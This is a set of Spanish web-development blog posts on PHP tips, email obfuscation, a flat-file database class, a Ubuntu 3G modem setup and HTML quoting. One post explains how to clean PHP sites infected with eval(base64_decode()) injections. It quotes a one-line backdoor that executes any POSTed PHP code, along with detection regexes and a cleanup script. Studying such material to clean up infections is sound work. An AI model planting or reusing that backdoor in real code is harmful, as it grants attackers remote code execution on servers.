Así que hazlo como quieras, pero añádele al javascript de tu página esta función. También necesitarás añadir esta otra función que es usada por la anterior:

http://phpjs.org/functions/utf8_decode:576

Por último, añade también el siguiente código que usa jQuery:

1  <script>
2  
3    $(document).ready(function(){
4      $("span[class^='e64']").attr('class', function(){
5        $(this).html(base64_decode($(this).html()));
6      });
7    });
8  
9  </script>

Usando jQuery la cosa se simplifica al máximo, pero en fin, puedes hacerlo sin necesidad de jQuery, usando otros frameworks u otro javscript "a pelo".

Lo que hace este jQuery es indicar que una vez cargada la página ("document ready") busque TODOS los span cuya clase comience con "e64" y les reemplaze el html que contienen por el mismo html decodificado.

Consideraciones finales

Ya puedes imaginar que las variaciones posibles son muchas: llámale como quieras a tu clase, no hace falta que sea un span, etc... eso ya depende de tu creatividad y tus necesidades. Pero creo que esta técnica puede dar mucho de sí. De hecho, la hallé hoy implementada en un website pero no para ocultar emails sino para otra cosa que ni siquiera entendí la razón, jejeje...

Se agradecerá que si le das un uso diferente lo compartas con un comentario ;) así podemos sacarle todos provecho.

En cuanto a la efectividad para ocultar emails... bueno, creo que es "suficiente" si tu web no tiene atractivo suficiente como para querer ser "atacada" de manera directa. Es decir, suponiendo que nuestras webs son periódicamente visitadas por robots buscando arrobas, con este método conseguiremos esquivarles. Pero, si tienes una web que quiere ser escaneada (no sé, por ejemplo que tuviéras un buen directorio de profesionales de la medicina con sus emails públicos), entonces rápidamente se te vería el plumero y cualquier hacker se saltaría tu codificación en base64 en menos de 3 minutos ;)

En este sentido, si tienes alguna idea para sofisticar más el código de tal manera que realmente los emails queden ocultos sí o sí... se agradecería un comentario. Claro, en la línea de hacerlo con javascript o algo parecido, es decir, usando tecnología de cliente, no de servidor... aunque no sé si eso será posible.

Activar errores de PHP por navegador sin tocar el PHP.ini

noreply@blogger.com (Usher web) — Wed, 02 Feb 2011 23:42:00 +0000

Posiblemente hayas llegado a este artículo desesperado porque la configuración de tu cuenta de hosting tiene desactivado el "displaying" de errores por navegador. En realidad es una opción interesante para aumentar la seguridad de nuestra aplicación PHP, pero hace casi imposible el debugeo cuando estamos en la fase de desarrollo.

La solución más "permanente" es modificar el archivo php.ini de configuración de PHP para descomentar el comando:

display_errors = On

Pero una solución más temporal es simplemente usar estos comandos:

ini_set("display_errors", 1);
error_reporting(E_ERROR | E_WARNING | E_PARSE);

Cuidado, porqué me ha costado saberlos usar:

has de insertarlos al inicio del PRIMER archivo de tu aplicación y que ESTÉ LIBRE DE ERRORES DE SINTAXIS. Esto es muy importante, es decir, estos comandos no serán tenidos en cuenta si los pones en el archivo que tiene errores de sintaxis (que son los más habituales).
los colocas en las primeras líneas del archivo PHP, obviamente, después de < ? p h p
puedes jugar con los argumentos de ambos comandos, pero los que te puse arriba son los que yo acostumbro a ver en las configuraciones por defecto de los servidores de PHP.

Estoy seguro de que a alguno esto le ayudará ;)
Un saludote!
SERGI

Medir consumo de RAM y tiempo para evaluar el rendimiento de tu script PHP/MySQL

noreply@blogger.com (Usher web) — Mon, 29 Nov 2010 03:35:00 +0000

¿Andas con la duda de si tu script de PHP o tus consultas a la base de datos MySQL necesitan una optimización para ganar tiempo de respuesta y ahorrar consumo de memoria? ¿Has recibido ya los primeros errores del tipo "Fatal error: Out of memory (allocated 3145728) (tried to allocate 491520 bytes) in /home/..."? Eso es que necesitas mejorar o bien la construcción/sintaxis de tus consultas a la base de datos, y/o gestionar mejor los bucles, las variables, los arrays y en general el uso de la memoria.

Más adelante prometo escribir algún consejo al respecto de la optimización, pero ahora empezaré por centrarme en cómo podemos comparar el antes y el después ;) Es decir, convendría que probases diversos modos de hacer tus consultas y gestionar las mismas, usando mientras lo haces algún tipo de medición de tiempo y de consumo de RAM, para después comparar los datos y saber cuál de los caminos que has construido es el más eficaz!!

Medir el consumo de memoria RAM en PHP

Hay dos funciones, pero para la intención que tenemos de optimización nos viene mejor ésta: memory_get_peak_usage(), que mide el máximo de memoria RAM que hemos hecho "hasta el momento". la usaremos así de sencillamente:

1  <?php
2  
3  $memo_ini=memory_get_peak_usage();
4  mi_funcion(); // se supone que esto es lo que consume muchos recursos
5  $memo_fin=memory_get_peak_usage();
6  
7  echo "Usados un máximo de: ".round(($memo_fin - $memo_ini)/(1024*1024),2). "Mb";
8  
9  ?>

En la $memo_ini y en $memo_fin almacenamos el uso máximo de RAM por nuestro "thread" (hilo?) PHP, con lo cuál haciendo la resta de ambos valores obtendremos la cantidad de memoria máxima añadida por la función "mi_funcion". El resultado lo obtenemos en bytes, por lo que lo pasamos a Mb dividiendo por (1024*1024) y lo pasamos a dos decimales (más que suficiente, aunque puedes darle más si necesitas más precisión).

Ten en cuenta que memory_get_peak_usage() devuelve el MÁXIMO de RAM consumida hasta el momento. Así que puedes imaginarte que si intentas medir consumos pequeños de RAM puede que te salga cero!! ¿Porque?

Pongamos un ejemplo. Cuando calculas el $time_ini has tenido un consumo máximo de 4Mb, sin embargo, tal vez ya descargarte parte de ese espacio espacio que ocupaste, por ejemplo con la función nativa unset(), y por tanto ahora mismo en RAM ocupas solo 2Mb. Así pues, si cuando llamas a "mi_funcion()", ésta consume por ejemplo 1Mb de RAM, entonces tu consumo en ese momento será de 2Mb+1Mb=3Mb... que es inferior a 4Mb. Así pues, cuando llames por segunda vez a la función memory_get_peak_usage() para calcular $memo_fin, te seguirá devolviendo el valor 4Mb !!!

Tal vez entonces te preguntes qué utilidad tiene y si no hay otra alternativa. Bueno, en cuanto a lo primero, claro que nos es útil! pues loq ue intentamos medir son "puntas" de consumo de RAM excesivas. Y en cuanto a lo segundo, claro que hay otra alternativa: la función que cité pero no mencioné arriba al inicio del artículo: memory_get_usage().

Esta segunda función mide EXACTAMENTE la memoria RAM ocupada en el momento que la llamas. Pero según cómo es más incómoda de usar. Te pondré un simple ejemplo: imagina que quieres medir el consumo de RAM del ejemplo que he puesto arriba, pero supon que "mi_funcion()" en realidad es un script de terceros al que no tenemos mucho acceso o simplemente no queremos gastar nuestro tiempo en analizar por dentro. Y supongamos además, que el script está medianamente bien hecho y se encarga de eliminar de la RAM cada una de las variables que va ocupando en sus cálculos.... así pues no podríamos saber cuánta memoria como máximo llega a usar, porque esta segunda función (memory_get_usage) posiblemente nos devolvería prácticamente la misma cantidad de memoria antes y después de llamar a "mi_funcion()". ¿Si me entiendes?

Conclusión... cada una de las dos funciones pueden ser útiles en según qué contextos, pero en general, creo que la primera nos será más cómoda a la par que suficiente.

Medir el consumo de tiempo de procesamiento

Bueno, este aspecto es mucho más sencillo. Mejor poner un ejemplo:

1  <?php
2  
3  $time_ini=_microtime();
4  mi_funcion(); // se supone que esto es lo que consume muchos recursos
5  $time_fin=_microtime();
6  
7  echo "Procesado en: ".round(($time_fin - $time_ini),2). " segs.";
8  
9  function _microtime(){
10  // 0.41494500 1291000531 -> 1291000531.41494500
11  list($usec, $sec) = explode(" ", microtime());
12  return ((float)$usec + (float)$sec);
13  }
14  
15  ?>

Es decir, en lugar de usar la función nativa de PHP microtime() construimos una llamada _microtime(), porque la salida de la primera es un tanto especial (véase la primera línea comentada de la función que definimos).

Archivos PHP hackeados con eval(base64_decode())

noreply@blogger.com (Usher web) — Sun, 25 Apr 2010 04:28:00 +0000

Te interesa este artículo si acabas de descubrir con estupor que los archivos de PHP de tu Wordpress, o OSCommerce, o cualquier CMS PHP han sido reescritos "mágicamente" (obviamente por un código malicioso), y al inicio presentan una línea como ésta:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZ... ...9fX0=')); ?>

Escenario

Se trata de una "inyección de código PHP" codificado en base64 que normalmente se extiende a TODOS los archivos PHP que tengas en ese dominio! como lo oyes, increíble, no?

No es difícil decodificar la base64, y encontrarás un centenar de sitios web en donde explican cómo hacerlo. Pero resumidamente esa "cabecera" inyectada en tus archivos PHP es capaz de leer todo tu sistema de archivos y enviar esa información a quien dejó la "semilla".

No he leído en profundidad sobre el origen de este hackeo, aunque sí he leído que se remonta al menos al año 2001!!! Además, si decodificas el mensaje en base64 verás que es a su vez un código PHP que llama a otro archivo de nuevo con codificación en base64, que suele ser un archivo perdito en el árbol de directorios, normalmente una "falsa hoja de estilos en PHP" del skin o del theme de algún plugin de algún componente de tu CMS (el editor HTML, por ejemplo). Como que estos componentes suelen ser opensource, alguien con malicia puede intentar colar un código de hackeo fácilmente de esta forma (entre los estilos, de un skin, de un plugin...).

En mi caso lo descubrí en:

/var/www/sites/myuser/mydomain.com/subdomains/www/html/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php

Si quieres saber qué dice tu código en base64 usa esta web:

http://www.motobit.com/util/base64-decoder-encoder.asp

marca la opción: "decode the data from a Base64 string (base64 decoding)" y pulsa en el botón "convert the source data".

Limpieza automatizada

En mi caso me bastó con limpiar esas inyecciones de PHP de mis archivos. Y como eran más de un centenar... pues necesitaba un script que automatizara esa limpieza. Y bueno, buscando un poco encontré un script que aproveché para mejorar y que podéis descargar aquí:

http://imasdeweb.com/opensource/search_and_replace/search_and_replace.php.zip

¿Cómo funciona?

debes colocarlo en la raíz de tu dominio y llamarlo desde el navegador

hará una exploración recursiva de TODOS los directorios y subdirectorios buscando archivos con extensión PHP, HTML o HTM.

mirará dentro de cada archivo buscando mediante una expresión regular si hay algo como lo que puse arriba ("/eval$base64_decode\(\'[A-Za-z0-9\=\/\+]+\'$\);/")

si encuentra ese código, primero hará un backup de ese archivo (por si quieres deshacer los cambios... que lo dudo) añadiéndole la extensión "_hackedcopy"

por último, quitará del archivo el código malicioso

además, mostrará por pantalla el listado completo (y sangrado!!!) de los archivos revisados marcando los infectados (rojo) y los limpios (verde)

En fin, estoy seguro que a más de uno le va a "salvar la vida". Aunque bien bien, no sé los efectos de tener ese código infectando tus archivos... Si alguien sabe algo, podría resumirlo en un comentario ;)

Y si alguien le hace más mejoras, pues me presto a actualizar la versióna actual :))

Editado en 24 May 2011:
Gracias a un comentarista, Henry, hemos descubierto que el cógido malicioso en base64 que infecta nuestros archivos puede estar delimitado por comillas simples (') como en el ejemplo que pongo en el artículo, o por comillas dobles (como le sucedió a Henry).

Si ese es tu caso, debes modificar la línea 86 del script de búsqueda y limpieza y poner esta otra expresión regular que usa comillas dobles ;)

"/eval$base64_decode\(\"[A-Za-z0-9\=\/\+]+\"$\);/"

Editado en 10 Octubre 2011:
Otro comentarista, Fco., nos ha hecho una valiosa aportación: nos ha proporcionado una expresión regular que cubre ambos casos, es decir, el de las comillas simples y el de las comillas dobles, y además tiene en cuenta posibles espacios en blanco! Excelente! jejejeje... es de esas cosas que nunca he sabido hacer: jugar con las expresiones regulares.

Ya modifiqué el script para descarga. Gracias Fco.
Os pongo aquí la expresión que Fco. ha construido:

$needle = '/[\s]+eval$base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']$\);/';

Editado en 5 Marzo 2012:
Otro comentarista, Romina, ha preguntado cómo sería posible eliminar todos esos archivos con el sufijo "_hackedcopy" que el script de limpieza ha generado. Porque la verdad sea dicha, al cabo de un mes de prudente distancia, ya podemos limpiar nuestro sistema de archivos de esas copias "contaminadas". En realidad son inocuas (=inofensivas) porqué no tienen la exetensión .php, pero en fin... ocupan espacio innecesariamente!

Para algun@s amantes de la consola linux la solución más fácil es usar un comando shell como éste que nos ha regalado un visitante anónimo:

for i in `find . -name '*_hackedcopy'`;do rm $i; done

no soy un experto en linux, pero parece que debería funcionar. Tampoco lo he probado. Se agradecerá comentarios de quien lo pruebe ;)

Por otra parte, dado que a veces nuestro proveedor de hospedaje no nos proporciona acceso SSH al servidor o bien en el panel de hosting no hay una sección en donde ejecutar comandos de consola (`shell`), he programado un nuevo script

remove_copies.php

que he añadido al archivo ZIP para descarga de este artículo, que hará esa eliminación simplemente llamándolo desde el navegador, previamente habiéndolo colocado por FTP en la raíz del directorio que queremos "limpiar". Tranquilos, lo único que hace es: buscar recursivamente archivos con el sufijo '_hackedcopy' y los elimina. Para mayor control del asunto, el script saca por pantalla el listado de archivos eliminados y el número de directorios/archivos escaneados.

Editado en 5 Nov 2012:
Después de varios meses de recibir comentarios (se pueden leer debajo del artículo) creo interesante completar este artículo con los siguientes datos y trucos resaltados por algunos comentaristas:

Javier 3VS nos recuerda que podemos cambiar la línea 37 del script de localización de código mailicioso para detectar buscar en otros tipos de archivo que los propuestos inicialmente, puesto que resulta que estas inyecciones también suceden por ejemplo en archivos de javascript!!! (extensiones .js)

$a_ext=array('php','html','htm','js');
Por supuesto, estas inyecciones de código en archivos de javascript ya no van a ejecutarse en el servidor sino en el navegador de los visitantes de nuestra web, así que podéis imaginar que la expresión inyectada es diferente y por tanto hemos de ajustar la expresión regular del script que es usada para encontrar estos códigos!!

Para ayudarnos en el ajuste de esta expresión regular, Javier 3VS nos comparte el siguiente enlace en el que podemos JUGAR EN TIEMPO REAL con expresiones regulares para ver si funcionarán o no con nuestro código de muestra!!! genial, no?!

http://gskinner.com/RegExr/?32kag
otro comentarista, Almo nos comparte detalladamente como hizo para buscar, encontrar, limpiar y mejorar su seguridad para el futuro. Creo que puede interesar a más de uno leer su explicación.

Lo más interesante a destacar de su explicación creo yo es que él encontró la semilla en forma de un archivo /images/post.php (lástima que no indique de qué CMS) en el que éste código recibe por POST cualquier código PHP que se le quiera pasar y LO EJECUTA!!! imaginen que desastre si alguien tiene un acceso así a nuestro servidor :(

if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;}

Editado en 4 Ene 2013: [JOOMLA]
Gracias a José tenemos nueva información útil para los usuarios de Joomla:

en su caso dice que la infección estaba en la carpeta "images", en forma de dos ficheros php (feeback.php y script.php)
después de limpiar el código de su web ha seguido las medidas de seguridad propuestas en este artículo:

http://www.siteground.com/tutorials/joomla15/joomla_security.htm

el documento es de lectura recomendada para todos los usuarios de Joomla, pero yo lo recomendaría para todo el mundo, y Jose lo resume así: he cambiado los prefijos de las tablas, he denegado el acceso a los ficheros php, salvo a los dos index principales de mi sitio joomla, y he protegido la carpeta "Administrator" desde mi panel de administración (en realidad es un htaccess).
Por cierto, Jose también descubrió cuál era la finalidad del ataque: cuando la gente veía su web en el buscador Google todo parecía normal, pero cuando pulsaban en el enlace eran redirigidos a páginas de terceros, habitualmente porno.

En fin feliz búsqueda, captura y eliminación! ;)
Y si en tu lucha encuentras algo nuevo que aquí no hayamos dicho y pueda servir, añádelo en los comentarios... yo me encargo de incorporarlo al artículo o al script si es suficientemente de interés general.

Un saludo!
SERGI

class_SRR_database_sim :: mi base de datos en PHP

noreply@blogger.com (Usher web) — Mon, 05 Oct 2009 04:18:00 +0000

Hacía mucho tiempo que quería compartir con vosotros mi "clase de base de datos" que llevo trabajándome en PHP desde hace ya 3 años largos! La idea nació de la necesidad de almacenar información para una aplicación web de un amigo sin poder usar MySQL ni otro tipo de base de datos tradicional, porque su plan de hosting era el más básico :S

Por fin, después de este tiempo, la base de datos ya está más o menos madura como para compartirla con otros. Lo que más me ha costado es darle propiedades de no "corruptibilidad" por coincidencia de dos threads PHP sobre la misma tabla de datos. Es decir, que ahora por fin la base de datos bloquea el acceso de lectura/escritura cuando algún "thread" está ESCRIBIENDO sobre alguna tabla. De esta forma no puede ocurrir que alguien empiece a leer una tabla cuando alguien la tiene a "medio escribir". Lo cuál aunque parezca muy improbable, empieza a volverse probable en cuanto la base de datos aumenta de tamaño ;)

Queda mucho por hacer, así que la he colgado como proyecto opensource en INDEFERO. Aquí tenéis los enlaces:

[DEMO] http://imasdeweb.com/opensource/php_SRR_database_sim/demo

[HOMEPAGE] http://imasdeweb.indefero.net/p/class-SRR-database-sim

[DOC] http://imasdeweb.indefero.net/p/class-SRR-database-sim/doc

Sois programadores y ya sabéis que cualqueir software siempre es mejorable, pero en fin, si no publico nunca ninguna versión el progreso de la misma irá tan lento como hasta ahora. Y confío que ahora una vez que alguien empieza a descargarla y usarla pueda tener feedbacks constructivos :))

Resúmen de características

No requiere en el servidor más que tener PHP instalado
Para empezar a usarla solo hay que copiar el directorio de la base de datos en donde más te convenga y tantas "instancias" como quieras.
Ocupa muy poco. Estando vacía menos de 50kb.
Lleva un archivo admin3.php al que puedes llamar para gestionar tu base de datos de forma básica online (al estilo phpmyadmin pero muuuuuho más humilde, jejejeje).
Los registros de cada tabla se almacenan en un archivo de texto plano en el mismo directorio, con lo cuál solo necesitas darle permisos de escritura al directorio ;)
La clase ofrece toda una serie de sencillos métodos del tipo: crear/modificar/eliminar tabla y crear/modificar/seleccionar/eliminar registros
Los campos de cada tabla pueden contener ilimitados caracteres (olvídate por fin de definir tipo y longitud de campo).
Las consultas (o "queries") no se escriben como en SQL en una cadena de texto y un chingo de comillas, sino que son llamadas parametrizadas usando siempre arrays ;)
Hacer un backup o migrar a otro hosting es tan fácil y rápido como "copiar y pegar el directorio"
Como no es necesario ejecutar un segundo servidor (por ejemplo el de MySQL) sino solamente leer y escribir en archivos de texto plano desde el PHP, la velocidad de respuesta es rapidísima (comparada con MySQL) para tablas con menos de 5.000 registros

Cosas que no tiene

índices
vínculos entre tablas
(un montón de cosas... jejejeje)

En fin, espero que lo pruebes y me digas qué te pareció. Y bueno, si además eres programador... bueno, una ayudita estaría genial!!! Sinceramente, aunque nadie más ponga ni una línea de código en este proyecto, ya estoy muy contento de compartir por primera vez algo realmente mío :)))) le debo tanto a la comunidad de programadores en general... !!!! me siento bien retornando algo de mi parte.

Por cierto, esta clase de base de datos es la que utilizo como pilar de mi CMS, el cuál llevo construyendo y utilizando desde hace también 3-4 años! muy prontito también lo publicaré como opensource, porque considero que a alguien le puede ir bien. Un CMS más, verdad?! jajajaja... pero en fin.. no os lo creeréis, pero ninguno de los CMS que habían en aquel entonces me venían bien! o eran muy complicados para el programador (si necesitaba hacer cambios en la funcionalidad del mismo) o bien tenían un panel de administración bastante complejo para el nivel de mis clientes. Conclusión: acabé programando mi propio CMS. La ventaja: si necesito cualquier cambio lo tengo en un instante. Y si aparece algún bug, enseguida sé de dónde viene ;)

Websites funcionando que usan mi CMS y la susodicha base de datos

Para que veáis que tanto la base de datos como el CMS funcionan a las mil maravillas, aquí os dejo el enlace a unas cuantas de mis páginas que los usan. Y las dos primeras os puedo asegurar que tienen tablas con más de 1.000 registros!

Un saludo!!
SERGI

Actualizaciones posteriores

versión 3.2 (3-NOV-2009): se corrigió un error en el método de DELETE_TABLE, y se añadieron unos archivos (test.htm y test.php) para hacer benchmark de acceso simultaneo desde diferentes navegadores (solo para uso de desarrollo de la clase).

versión 5.0 (17-FEB-2011): nuevas funciones de IMPORTACIÓN/EXPORTACIÓN de tablas (internamente, para cambios de versión de la clase o para migrar datos de un site a otro, etc); nuevas funciones de REGISTRO (o LOG) de escritura y/o lectura! (útil para debugeo de vuestra aplicación web: conocer qué operaciones se han estado realizando y cuando, y cuánto tiempo llevaron. Más adelante le añadiremos funciones de recuperación de datos)

para seguir la evolución del proyecto, mejor es visitar el LOG oficial del mismo: en INDEFERO

modem 3G Nokia CS-10 en Ubuntu

noreply@blogger.com (Usher web) — Sun, 20 Sep 2009 05:00:00 +0000

El primer modem 3G de Nokia fue el Nokia Internet Stick CS-10, y según ponen en sus especificaciones (http://europe.nokia.com/find-products/accessories/all-accessories/home-and-office/imaging/nokia-internet-stick-cs-10), no es compatible con Linux. Sin embargo, eso no es cierto: yo he podido instalarlo después de leer y buscar por internet un día entero, y hacer mil y una pruebas.

Atención: estos pasos de configuración no funcionan en Ubuntu 9.10, aunque sí en versiones anteriores... paradójicamente! Ando buscando solución para 9.10, pero si alguien ya la encontró o la encuentra... por favor, que haga el esfuerzo de comentar cómo lo consiguió o que deje el enlace en dónde encontró la solución ;)

Actualización 27 Nov-2011: otro amable lector -Alberto- nos ha dejado otra buena noticia:

"Ubuntu 11.04 con telcel no tienes que hacer nada solo entrar en preferencias -> Conexiones de red (network manager) y click en añadir, sigues los pasos con los valores por defecto seleccionando telcel y listo ya puedes ver en el icono de redes le das conectar y listo. "

La verdad es que yo -como usuario- hace ya más de un año que no uso el stick USB para conectarme. En realidad lo usé muy poco... jejeje, a pesar de todo el trabajo que me dió configurarlo!

Ahora mismo, hace 3 semanas, compré un Samsung Galaxy Ace -con Android- que creo que si le activo un plan de datos 3G puedo usarlo como "modem-router" wifi para mis Pcs/laptops!!! (tethering). Tengo que investigarlo, probarlo y publicar una guía si es así ;)

Actualización 30 Abr-2011: un amable lector nos ha dejado este mensaje que supongo todos los usuarios de Ubuntu celebramos

"El tema ya es viejo, las nuevas versiones de ubuntu 10.10 en adelante reconocen este dispositivo automaticamente, solo es cuestion de configurarlo.

Yo solo di click derecho en agregar conexiones, dispositivo nokia internet stick cs10, pais mexico, operador telcel, aceptar y listo."

Una gran noticia, no?

Sé que la temática de este artículo se sale de la habitual en mi blog (desarrollo web), así que espero que mis lectores habituales me perdonen por incluirlo, pero he visto imprescindible hacerlo porque me ha llevado muchas horas gastadas para hacer algo tan sencillo, y creo que debe ser compartido. Y este blog es mi principal "ventana al mundo" ;)

Principal problema: reconocer el stick como MODEM

El primer problema es que al introducir el modem USB en la PC es reconocido como unidad de almacenamiento de tipo CD-ROM, porque este Stick contiene una pequeña memoria fija de 80Mb con software para Windows.

Después de leer en innumerables blogs y foros las más variopintas formas de "evitar" que Ubuntu reconozca al stick como memoria en lugar de cómo modem, descubrí ACCIDENTALMENTE (sí, sí... accidentalmente) que la solución al problema es SENCILLÍSIMA:

1. introduce el stick en la ranura USB

2. ubuntu te lo reconoce como unidad de CD-ROM y lo monta

3. te habrá aparecido un icono en el Escritorio o en Nautilus que se llama "Nokia modem", pero que no muestra ningún archivo (curiosamente no se ven los archivos que contiene... cosa que no entiendo ¿? porque en Windows se ven sin problema)

4. haz clic sobre el icono con el botón secundario del mouse y escoge la opción "EXPULSAR".

5. "mágicamente" verás como la "unidad" es "desmontada" y PLIS: se enciende de forma intermitente una luz naranja en el modem, bingo !! tu modem acaba de ser reconocido y activado!

Es importante que destaque que no sirve solamente "desmontar" la unidad. Eso lo estuve haciendo repetidas veces pero no servía para que el modem fuera detectado. Esto no sucedió hasta que no escogí la opción "expulsar" (increible, no?).

Segundo problema: configurar la conexión con Telcel

Una vez reconocido el modem como tal, el segundo y último paso es configurar la conexión con Telcel. Lo cuál es sencillo para versiones de Ubuntu a partir de la 8.10 en adelante, porque el Network Manager lleva un asistente para conexiones de "banda ancha móvil".

Si tienes una versión de Ubuntu anterior a la 8.10 (en mi caso en mi netbook tenía Ubuntu Remix basado en la 8.04), tampoco debes preocuparte, solamente tienes que actualizar tu Network manager:

1. debes añadir a tus orígenes de software los siguientes repositorios:

deb http://ppa.launchpad.net/network-manager/ubuntu hardy main
deb-src http://ppa.launchpad.net/network-manager/ubuntu hardy main

puedes hacerlo editando directamente el archivo que contiene la lista de repositorios

sudo gedit /etc/apt/sources.list (usa este comando desde la consola)

o bien abrir la aplicación "Gestor de paquetes Synaptic" (En Sistema / Administración) y allí ir al menú Configuración / Repositorios y en la pestaña "Software de terceros" puedes "Añadir" nuevos repositorios.

2. añade también la clave pública para estos repositorios. Para ello ejecuta en la consola este comando:

sudo aptitude update

y te va a dar un error porque le falta la clave pública del repositorio que acabamos de añadir. Te has de fijar bien en el mensaje de error que te aparezca, que será del tipo:

W: GPG error: http://ppa.launchpad.net intrepid Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY 5DC4E17435661D98

entonces ejecuta este otro comando:

gpg --keyserver subkeys.pgp.net --recv NO_PUBKEY

en donde en lugar de NO_PUBKEY has de escribir tu clave (en mi ejemplo: 5DC4E17435661D98), y entonces la consola te devolverá algo como esto:

gpg: solicitando clave 35661D98 de hkp servidor subkeys.pgp.net
gpg: /home/ubuntu/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 35661D98: clave pública "Launchpad PPA for GNOME Do Testers" importada
gpg: Cantidad total procesada: 1
gpg: importadas: 1 (RSA: 1)

a continuación ejecuta este otro comando:

gpg --armor --export 5DC4E17435661D98 | sudo apt-key add -

(obviamente escribiendo tu NO_PUBKEY), y si todo va bien la consola te devolverá un "Ok!".

3. desde consola actualiza el paquete de tu network manager:

sudo aptitude install network-manager

4. una vez actualizado, cargar el "gestor de actualizaciones" desde el menú del Escritorio (Sistema / Administración), y te detectará que puede actualizar 3 paquetes relacionados con el network-manager, dos de ellos justamente relacionados con las conexiones móviles, como una base de datos con las características de los diferentes operadores telefónicos de una gran lista de países ;)

5. por último, aunque no es necesario, te recomiendo que reinicies la computadora

Bueno, así que suponiendo que ya tengas bien actualizado tu Network Manager, el resto es muuuuy fácil:

1. haz clic con el botón secundario del ratón sobre del pequeño icono del gestor de redes que hay en tu barra (panel systray) junto al reloj y la fecha (normalmente).

2. escoge la opción "editar las conexiones"

3. ves a la pestaña "Banda ancha móvil" y haz clic en el botón "Añadir"

4. si tienes la versión actualizada del network manager se habrá iniciado un "asistente" que te va a guiar en el proceso de creación de la conexión móvil a internet. Además te va a preguntar por el país y te va a mostrar los operadores telefónicos para los que tiene datos en ese país. Tú deja todas las opciones de conexión que ponga el asistente, no hace falta que toques nada (al menos en el caso de Telcel-México). Como mucho, marca la casilla que pone: "Conectar automáticamente", porque así Ubuntu se conectará a esa red móvil en cuanto enchufes el modem USB 3G ;)

5. ya solo tienes que encajar tu stick en la ranura USB y tiene que funcionar! en todo caso, si ya lo tenías puesto, tendrás tal vez que retirarlo y volver a seguir los pasos del inicio ("expulsarlo" una vez sea reconocido por ubuntu como CD-ROM). O si eso no te va bien, mejor reinicia de nuevo la compu :( he experimentado que si introduzco y extraigo el modem USB más de una vez en una misma sesión, no siempre es reconocido adecuadamente ;)

Bueno, espero que estos consejos hayan servido a más de uno... espero que a muchos!!! lo más chistoso del tema es que acabo de recibir la respuesta del servicio de apoyo al cliente de Nokia (les pregunté sobre cómo usar sus modems USB en Linux), y lo único que dicen (me han respondido 2 personas diferentes) es la "ODIOSA" letanía de "Le recordamos que tal como puede leer en la página web de especificaciones del CS-10, este equipo solo es compatible con el sistema operativo Windows o Mac Os". ¿Increible, no? En fin, una vez publicado esta breve guía se la voy a enviar en respuesta a su "estúpida" respuesta de "ayuda". Porque además, cuando les escribí pidiendo ayuda les explicité que lo único que necesito es que me dieran un link en donde poder leer ALGO de documentación de como instalar en Linux alguno de sus modems USB 3G que SÍ SON COMPATIBLES CON LINUX (a partir de la CS-15). En fin...

Por cierto, si alguno/a de vosotros no conoce aún Ubuntu... le recomiendo que lo pruebe! lo recomiendo como usuario y como programador. Como veis, es un software totalmente ya maduro para el trabajo de los profesionales de la informática ;)

Un saludo,
SERGI

Di NO a las PATENTES DE SOFTWARE

noreply@blogger.com (Usher web) — Mon, 06 Jul 2009 18:56:00 +0000

Actualmente (2008-2009) se está desarrollando una campaña de recogida de firmas para solicitar al Parlamento Europeo medidas más contundentes que erradiquen de una vez por todas las patentes de software en Europa. Te invito a que te informes de porqué este cambio nos conviene no sólo a los informáticos, sino también a la industria del software en general y de forma indirecta a toda la sociedad. Mientras que las patentes sólo benefician el "lucro" a corto plazo de un número contado de empresas y retrasan enormemente la competitividad y el progreso del sector informático, y de rebote de toda la sociedad!

Te invito pues a:

Visitar la página oficial de recogida de firmas.

Dejar allí tu firma y leer alguno de los estudios científicos que hay en torno al tema

Divulgar este asunto, colocando un banner en algunas de tus webs ;)

Incluir un artículo en tu blog

Banners

Para que lo tengas más fácil, aquí te dejo el código para insertar un banner horizontal y otro vertical:

Comillas dobles y simples en HTML "input text"

noreply@blogger.com (Usher web) — Mon, 08 Jun 2009 20:17:00 +0000

Si eres desarrollador de aplicaciones web, sabrás ya que el tema de las comillas (simples y dobles) es siempre una fuente de problemas hasta que no descubres cómo lidiar con ellas. Voy a resumir ahora cuatro cosas que te van a funcionar siempre ;) si trabajas con PHP.

El problema principal es cuando queremos definir una cadena de texto que contenga unas comillas. Es un problema en sí mismo porque las cadenas de texto generalmente se delimitan usando comillas.

Uno pensaría que sería posible insertar comillas en una cadena de texto "escapando" esas comillas, es decir, usando un símbolo de "escape" (usualmente es la barra invertida \) delante de las comillas a escapar. Por ejemplo:

<input type='text' value='L\'Hospitalet' />

o bien:

<input type="text" value="un \"gran\" hombre" />

sin embargo, si haces la prueba, verás que ninguno de estos "escapes" funciona !!!!

Para incluir comillas dobles dentro de comillas dobles en HTML, tenemos que usar "carácteres especiales", así:

<input type="text" value="un "gran" hombre" />

La última cuestión es cómo hacer todo esto de manera fácil en PHP. Esto sería un ejemplo de cómo generar desde PHP el código HTML anterior suponiendo que la variable $value contenga una cadena con comillas dobles como un "gran" hombre:

<?php

echo "<input type=\"text\" value=\"".htmlspecialchars($value)."\" />";

?>

Como puedes suponer, la función htmlspecialchars transforma las comillas dobles (") en el código ".

De hecho, htmlspecialchars transforma no solo las comillas dobles sino este pequeño grupo de carácteres:

[&] (ampersand) se transforma en [&]

["] (comillas dobles) se transforman en ["] cuando no se usa ENT_NOQUOTES como segundo parámetro (opcional!).

['] (comilla simple) se transforma en ['] solamente cuando se usa ENT_QUOTES

[<] (menor que) se transforma en [<]

[>] (mayor que) se transforma en [>]

No olvides que de una forma u otra, cuando se envían por POST variables que contienen comillas (dobles o sencillas) estás llegan escapadas con una barra
diagonal delante [\] ("slash" en inglés) y que eliminamos con el PHP usando la función stripslashes() a cada variable $_POST() que pudiera contener comillas
de algún tipo!

En este enlace podéis ver un ejemplo de cómo usar htmlspecialchars() y lo explicado
en este artículo. Jugad con diferentes carácteres y mirad el código HTML de la página antes y después de enviar datos.

De todas formas:

posiblemente se me escapa algo, pues continuamente salen cosas nuevas o uno descubre nuevos "trucos"
existen artículos mucho más extendidos y con más ejemplos. Éste me gustó particularmente para gente que se incia en PHP, pues da un repaso más a fondo del uso de comillas en este lenguaje de programación: http://www.dxpro.es/index.php?topic=181.0
